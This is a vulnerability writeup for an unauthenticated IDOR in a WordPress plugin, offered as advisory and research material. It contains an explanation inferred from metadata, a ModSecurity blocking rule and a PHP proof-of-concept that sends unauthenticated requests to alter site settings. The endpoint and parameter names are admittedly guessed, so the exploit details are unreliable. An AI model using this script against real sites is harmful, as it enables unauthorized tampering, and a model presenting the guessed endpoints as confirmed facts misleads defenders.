Atomic Edge analysis of CVE-2026-57630 (metadata-based):
This vulnerability allows an unauthenticated attacker to perform unauthorized actions in the Blocksy Companion Pro plugin for WordPress, versions up to and including 2.1.46. The CVSS score is 5.3 with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network-based exploitation without authentication or user interaction, resulting in low integrity impact but no confidentiality or availability impact.
Based on the CWE-639 classification (Authorization Bypass Through User-Controlled Key) and the description, the root cause is almost certainly a missing or insufficient validation of a user-supplied key parameter. In WordPress plugin patterns, this often occurs in AJAX handlers or REST API endpoints where the plugin uses a numeric ID, post slug, or other identifier passed from the request to perform an action without verifying that the current user has permission to access or modify that resource. Since no source code is available, this conclusion is inferred from the CWE and description, but the IDOR pattern is well-documented.
An attacker can exploit this vulnerability by sending a crafted request, likely to an AJAX action endpoint like /wp-admin/admin-ajax.php with an action parameter such as blocksy_companion_pro_action and supplying a manipulated user-controlled key (e.g., post_id, attachment_id, or user_meta_key) to trigger an operation the attacker should not be permitted to perform. The lack of nonce validation or capability checks means the attacker does not need a valid session or authentication cookie.
The remediation should add validation on the user-controlled key. The plugin must verify that the key corresponds to a resource the requesting user is authorized to access. For WordPress, this typically means checking current_user_can() for the required capability (e.g., edit_posts, read_private_posts) or ensuring the resource belongs to the current user. Additionally, implementing nonce verification for any state-changing AJAX calls would prevent cross-site request forgery, though the core issue here is missing authorization checks.
If exploited, this vulnerability could allow an attacker to modify or delete settings, update options, change post metadata, or perform other unauthorized actions that compromise the integrity of the WordPress site. The CVSS vector indicates low integrity impact, meaning the attacker likely cannot overwrite critical system files or gain administrative access but could alter visible content, configuration, or user data.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57630 (metadata-based)
# Blocksy Companion Pro IDOR via AJAX - blocks any request that tries unauthorized key manipulation
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57630 Blocksy Companion Pro IDOR via AJAX',severity:'CRITICAL',tag:'CVE-2026-57630'"
SecRule ARGS_POST:action "@streq blocksy_companion_pro_update_meta"
"chain"
SecRule ARGS_POST:key "@rx ^.{1,}$"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57630 - Blocksy Companion Pro <= 2.1.46 - Unauthenticated Insecure Direct Object Reference
/**
* This PoC demonstrates how an unauthenticated attacker could exploit an IDOR
* in Blocksy Companion Pro by manipulating a user-controlled key parameter.
* Based on CWE-639 and common WordPress plugin patterns, we assume an AJAX
* handler that uses the key without authorization checks.
*/
// Configuration - update these values
$target_url = 'http://example.com'; // Base URL of the WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Inferred vulnerable AJAX action name (common pattern for blocksy-companion-pro)
$action = 'blocksy_companion_pro_update_meta';
// Assumed parameter name for the user-controlled key
$key = 'custom_settings_key';
$value = 'attacker_controlled_value';
// Step 1: Attempt unauthorized action without authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'key' => $key,
'value' => $value
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Attempted to exploit IDOR via AJAX action: $actionn";
echo "Parameters: key=$key, value=$valuen";
echo "HTTP Response Code: $http_coden";
echo "Response Body: " . ($response ? $response : 'Empty') . "nn";
// Step 2: Test with a different key or parameter to probe the vulnerability
// Some IDOR vulnerabilities use numeric IDs in a REST endpoint
$alternative_endpoint = $target_url . '/wp-json/blocksy-companion-pro/v1/update-setting';
$alternative_key = 12345;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $alternative_endpoint);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
'setting_id' => $alternative_key,
'value' => 'malicious_value'
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Attempted via REST endpoint: $alternative_endpointn";
echo "HTTP Response Code: $http_code2n";
echo "Response Body: " . ($response2 ? $response2 : 'Empty') . "n";
?>
